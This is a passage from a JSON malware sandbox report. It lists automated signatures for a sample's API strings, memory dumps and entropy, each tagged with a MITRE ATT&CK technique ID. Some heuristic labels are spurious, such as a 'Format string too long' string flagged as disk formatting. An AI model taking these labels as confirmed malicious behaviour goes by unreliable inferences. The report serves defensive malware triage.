string)","description":"Found reference to API \"CreateDirectoryA\" (Indicator: \"CreateDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1074.001","id":"string-423","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contains ability to create/open files (API string)","description":"Found reference to API \"CreateFileA\" (Indicator: \"CreateFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-315","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contains ability to disable/close registry key (API string)","description":"Found reference to API \"RegCloseKey\" (Indicator: \"RegCloseKey\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1112","id":"string-345","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contains ability to find and load resources of specific modules (API string)","description":"Found reference to API \"SizeofResource\" (Indicator: \"SizeofResource\"; Source: \"sample.bin\"), Found reference to API \"LoadResource\" (Indicator: \"LoadResource\"; Source: \"sample.bin\"), Found reference to API \"LockResource\" (Indicator: \"LockResource\"; Source: \"sample.bin\"), Found reference to API \"FindResourceA\" (Indicator: \"FindResource\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-550","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contains ability to retrieve the command-line string for the current process (API string)","description":"Found reference to API \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1059.003","id":"string-206","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contains ability to create a new process (API string)","description":"Found reference to API \"CreateProcessA\" (Indicator: \"CreateProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-204","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"General","name":"Contains ability to set/get the last-error code for a calling thread (API string)","description":"Found reference to API \"GetLastError\" (Indicator: \"GetLastError\"; Source: \"sample.bin\"), Found reference to API \"SetLastError\" (Indicator: \"SetLastError\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-319","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; Source: \"sample.bin\"), Found reference to API \"RemoveDirectoryA\" (Indicator: \"RemoveDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070.004","id":"string-308","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify access token privileges (API string)","description":"Found reference to API \"AdjustTokenPrivileges\" (Indicator: \"AdjustTokenPrivileges\"; Source: \"sample.bin\"), Found reference to API \"SeShutdownPrivilege\" (Indicator: \"SeShutdownPrivilege\"; Source: \"sample.bin\"), Found reference to API \"LookupPrivilegeValueA\" (Indicator: \"LookupPrivilegeValue\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134","id":"string-77","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"System Security","name":"Contains ability to format disks","description":"Found string \"Format string too long\" (Indicator: \"format \"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1561.001","id":"string-407","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1489","id":"string-316","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"Found reference to API \"GetFileAttributesA\" (Indicator: \"GetFileAttributes\"; Source: \"sample.bin\"), Found reference to API \"GetFileSize\" (Indicator: \"GetFileSize\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-207","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableA\" (Indicator: \"GetEnvironmentVariable\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-107","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\"), Found reference to API \"GetCurrentProcess\" (Indicator: \"GetCurrentProcess\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1057","id":"string-85","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-427","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to query registry keys (API string)","description":"Found registry query API: \"RegQueryValueExA\" in \"sample.bin\", Found registry query API: \"RegOpenKeyExA\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1012","id":"string-229","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-317","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-115","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameA\" (Indicator: \"GetModuleFileName\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-164","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to query system locale information (API string)","description":"Found reference to API \"GetLocaleInfoA\" (Indicator: \"GetLocaleInfo\"; Source: \"sample.bin\"), Found reference to API \"GetSystemDefaultLCID\" (Indicator: \"GetSystemDefaultLCID\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1614","id":"string-201","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve information about the current system (API string)","description":"Found system information discovery API: \"GetSystemInfo\" in \"sample.bin\"","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-89","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to retrieve system language (API string)","description":"Found reference to API \"GetUserDefaultLangID\" (Indicator: \"GetUserDefaultLangID\"; Source: \"sample.bin\"), Found reference to API \"GetUserDefaultUILanguage\" (Indicator: \"GetUserDefaultUILanguage\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1614.001","id":"string-143","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to perform scheduled transfer (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1029","id":"string-365","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve machine time (API string)","description":"Found reference to API \"GetSystemTime\" (Indicator: \"GetSystemTime\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1124","id":"string-247","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve the OS information (API string)","description":"Found reference to API \"GetVersionExA\" (Indicator: \"GetVersionExA\"; Source: \"sample.bin\"), Found reference to API \"GetVersionExA\" (Indicator: \"GetVersion\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1082","id":"string-171","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Able to identify virtual environment by using user activity (API string)","description":"Found string \"GetCommandLineA\" (Indicator: \"GetCommandLine\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.002","id":"string-661","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Environment Awareness","name":"Contains ability to retrieve path in which Windows is installed (API string)","description":"Found reference to API \"GetWindowsDirectoryA\" (Indicator: \"GetWindowsDirectory\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1083","id":"string-312","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1106","id":"string-310","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to load/free library (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055.001","id":"string-318","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to delay execution by waiting for signal/timeout (API string)","description":"Found reference to API \"MsgWaitForMultipleObjects\" (Indicator: \"WaitForMultipleObjects\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1497.003","id":"string-226","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Able to inject code into another process (API string)","description":"Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; Source: \"sample.bin\"), Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1055","id":"string-92","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to pass information to a window procedure (API string)","description":"Found reference to API \"CallWindowProcA\" (Indicator: \"CallWindowProc\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1564.003","id":"string-320","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Detection/Stealthiness","name":"Contains ability to impersonate access tokens (API string)","description":"Found reference to API \"OpenProcessToken\" (Indicator: \"OpenProcessToken\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1134.001","id":"string-306","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Ransomware/Banking","name":"Contains ability to modify file system redirection (API string)","description":"Found reference to API \"Wow64RevertWow64FsRedirection\" (Indicator: \"Wow64RevertWow64FsRedirection\"; Source: \"sample.bin\"), Found reference to API \"Wow64DisableWow64FsRedirection\" (Indicator: \"Wow64DisableWow64FsRedirection\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1070","id":"string-553","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"Heuristic match: \"lv.se\", Heuristic match: \"t[o.ci\", Heuristic match: \"zc.sz\", Pattern match: \"http://schemas.microsoft.com/smi/2\"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-3","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"\"0.1.1.7 \"","origin":"sample.bin","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains ability to reboot/shutdown the operating system (API string)","description":"Found reference to API \"ExitWindowsEx\" (Indicator: \"ExitWindows\"; Source: \"sample.bin\")","origin":"sample.bin","mitre_attack_id":"T1529","id":"string-189","sources":[{"report_type":"qsp","report_id":""},{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to find a resource in a module","description":"\"file.exe\" called \"FindResourceA\" with parameter \"11111\" - (UID: 00000000-00000824)\n \"file.tmp\" called \"FindResourceA\" with parameter \"4704732\" - (UID: 00000000-00005244)\n \"file.tmp\" called \"FindResourceA\" with parameter \"4556704\" - (UID: 00000000-00005244)\n \"file.tmp\" called \"FindResourceA\" with parameter \"4705444\" - (UID: 00000000-00005244)\n \"file.tmp\" called \"FindResourceA\" with parameter \"75114344\" - (UID: 00000000-00005244)\n \"file.tmp\" called \"FindResourceA\" with parameter \"75120188\" - (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-140","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to load a resource in memory","description":"\"file.exe\" called \"LoadResource with parameter {'hModule': '0', 'hResInfo': '4264704'}\" (UID: 00000000-00000824)\n \"file.tmp\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4897112'}\" (UID: 00000000-00005244)\n \"file.tmp\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4897096'}\" (UID: 00000000-00005244)\n \"file.tmp\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4897128'}\" (UID: 00000000-00005244)\n \"file.tmp\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4897144'}\" (UID: 00000000-00005244)\n \"file.tmp\" called \"LoadResource with parameter {'hModule': '4194304', 'hResInfo': '4897240'}\" (UID: 00000000-00005244)","origin":"API Call","mitre_attack_id":"T1106","relevance":3,"id":"api-139","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Calls an API typically used to remove a directory","description":"\"file.exe\" called \"RemoveDirectoryA\" with parameter %TEMP%\\is-7FJGB.tmp (UID: 00000000-00000824)","origin":"API Call","mitre_attack_id":"T1070.004","relevance":3,"id":"api-121","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to inject code into another process (API string)","description":"Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; File: \"file\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; File: \"file\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; Source: \"00000000-00000824.00000000.67101.0040B000.00000004.mdmp\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00000824.00000000.67101.0040B000.00000004.mdmp\")\n Found reference to API \"VirtualFree\" (Indicator: \"VirtualFree\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.733B7000.00000002.mdmp\")\n Found reference to API \"VirtualAlloc\" (Indicator: \"VirtualAlloc\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.733B7000.00000002.mdmp\")\n Found reference to API \"CreateThread\" (Indicator: \"CreateThread\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1055","relevance":1,"id":"string-92","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to load content into memory (Dotnet)","description":"Observed namespace \"System.Runtime.InteropServices.MarshalAsAttribute\" and TypeReference \".ctor\" in \"is-SAM9T.tmp\"\n Observed namespace \"System.Runtime.InteropServices.Marshal\" and TypeReference \"SizeOf\" in \"is-SAM9T.tmp\"\n Observed namespace \"System.Runtime.InteropServices.Marshal\" and TypeReference \"AllocHGlobal\" in \"is-SAM9T.tmp\"\n Observed namespace \"System.Runtime.InteropServices.Marshal\" and TypeReference \"Copy\" in \"is-SAM9T.tmp\"\n Observed namespace \"System.Runtime.InteropServices.Marshal\" and TypeReference \"PtrToStructure\" in \"is-SAM9T.tmp\"\n Observed namespace \"System.Runtime.InteropServices.Marshal\" and TypeReference \"ReleaseComObject\" in \"is-SAM9T.tmp\"","origin":"Static Parser","mitre_attack_id":"T1140","relevance":1,"id":"static-107","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to modify registry key/value (API string)","description":"Found reference to API \"RegSetValueEx\" (Indicator: \"RegSetValue\"; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")\n Found reference to API \"RegSetValueExA\" (Indicator: \"RegSetValue\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp, 00000000-00005244.00000000.67138.004A1000.00000002.mdmp\")\n Found reference to API \"RegSetValueExW\" (Indicator: \"RegSetValue\"; Source: \"00000000-00005244.00000000.67138.004A1000.00000002.mdmp, 00000000-00005244.00000000.67138.733B7000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-304","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to perform Base64 encoding/decoding","description":"file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"is-83UK6.tmp\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"is-83UK6.tmp\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\"; File: \"is-1C44R.tmp\")\n file/memory contains long string with (Indicator: \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\"; File: \"is-1C44R.tmp\")","origin":"File/Memory","mitre_attack_id":"T1132","relevance":1,"id":"string-338","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to set file time (API string)","description":"Found reference to API \"SetFileTime\" (Indicator: \"SetFileTime\"; Source: \"00000000-00005244.00000000.67138.0049B000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1070.006","relevance":1,"id":"string-409","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Contains ability to use Cryptographic classes","description":"Found reference to \"HUkNF*ja]NMjj+n\"b9Oide\"&T'(z+35\\;4fBECT7@\" (Indicator: \"Oid\"; File: \"is-HPLU5.tmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":2,"id":"string-138","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found PE header in memory","description":"Found PE header \"MZ\" - Source: \"00000000-00005244.00000000.67138.004A1000.00000002.mdmp\")\n Found PE header \"MZ\" - Source: \"00000000-00005244.00000000.67138.04770000.00000004.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1055","relevance":1,"id":"memorydump-8","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Found virtual disk drive like strings","description":"Found string - 1@6(!z1(z$!\\241-f)16?)>z?)@\\z!@\\.\\e)je6f($; Source: \"is-HPLU5.tmp\")\n Found string - \\\\.\\pipe\\InnoSetup64BitHelper-%.8x-%.8x-%.8x-%.8x%.8x; Source: \"00000000-00005244.00000000.67138.00401000.00000020.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1564","relevance":1,"id":"string-145","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Detection/Stealthyness","name":"Renames files","description":"$26","origin":"API Call","mitre_attack_id":"T1036","relevance":1,"id":"api-162","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Anti-Reverse Engineering","name":"PE file contains zero-size sections","description":"Raw size of \"BSS\" is zero\n Raw size of \".tls\" is zero\n Raw size of \".reloc\" is zero\n Raw size of \".bss\" is zero","origin":"Static Parser","mitre_attack_id":"T1027","relevance":10,"id":"static-5","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Cryptographic Related","name":"Contains ability to perform decryption (API string)","description":"Found reference to API \"CryptDecrypt\" (Indicator: \"CryptDecrypt\"; Source: \"00000000-00002852.00000000.67413.03120000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1140","relevance":1,"id":"string-212","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Cryptographic Related","name":"Found XOR operators (encryption/decryption)","description":"file/memory contains long string with (Indicator: \" ^ \"; File: \"is-HPLU5.tmp\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-624","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"}]},{"level":"informative","category":"Cryptographic Related","name":"Sample file has high entropy (likely encrypted/compressed content)","description":"Sample file \"sample.bin\" has high entropy 7.999245137162052","origin":"Binary File","mitre_attack_id":"T1027","relevance":1,"id":"binary-71","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to deobfuscate/decode files or information","description":"The analysis shows use of encryption and can be used to decode file or information. Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Contains ability to perform Base64 encoding/decoding","origin":"Indicator Combinations","mitre_attack_id":"T1140","relevance":1,"id":"summary-32","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to obfuscate file or information","description":"The analysis contains indicators for cyrpto or data obfuscation(base64/decrypt) which can hide information. Matched sigs: Contains CRYPTO related strings\n Matched sigs: Contains ability to use Cryptographic classes\n Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Contains ability to import cryptographic keys (seen in ransomware)\n Matched sigs: Contains ability to perform Base64 encoding/decoding\n Matched sigs: Contains ability to use Microsoft's Enhanced Cryptographic Provider\n Matched sigs: Contains ability to perform decryption (API string)\n Matched sigs: Dropped file has high entropy (likely encrypted/compressed content)\n Matched sigs: Sample file has high entropy (likely encrypted/compressed content)","origin":"Indicator Combinations","mitre_attack_id":"T1027","relevance":1,"id":"summary-28","sources":[{"report_type":"sandbox","report_id":"65a7a731253eb3b1390307c2"},{"report_type":"sandbox","report_id":"6a8b4c812756b4af3e0f227e"}]},{"level":"informative","category":"Cryptographic Related","name":"Shows ability to use encryption for command and control traffic","description":"The analysis shows use of encryption\n use of http/https that can be used to send encrypted data on command and control server. Matched sigs: Found XOR operators (encryption/decryption)\n Matched sigs: Found potential URL in binary/memory\n Matched sigs: Found potential IP address in binary/memory\n Matched sigs: Found potential URLs in memory dumps","origin":"Indicator 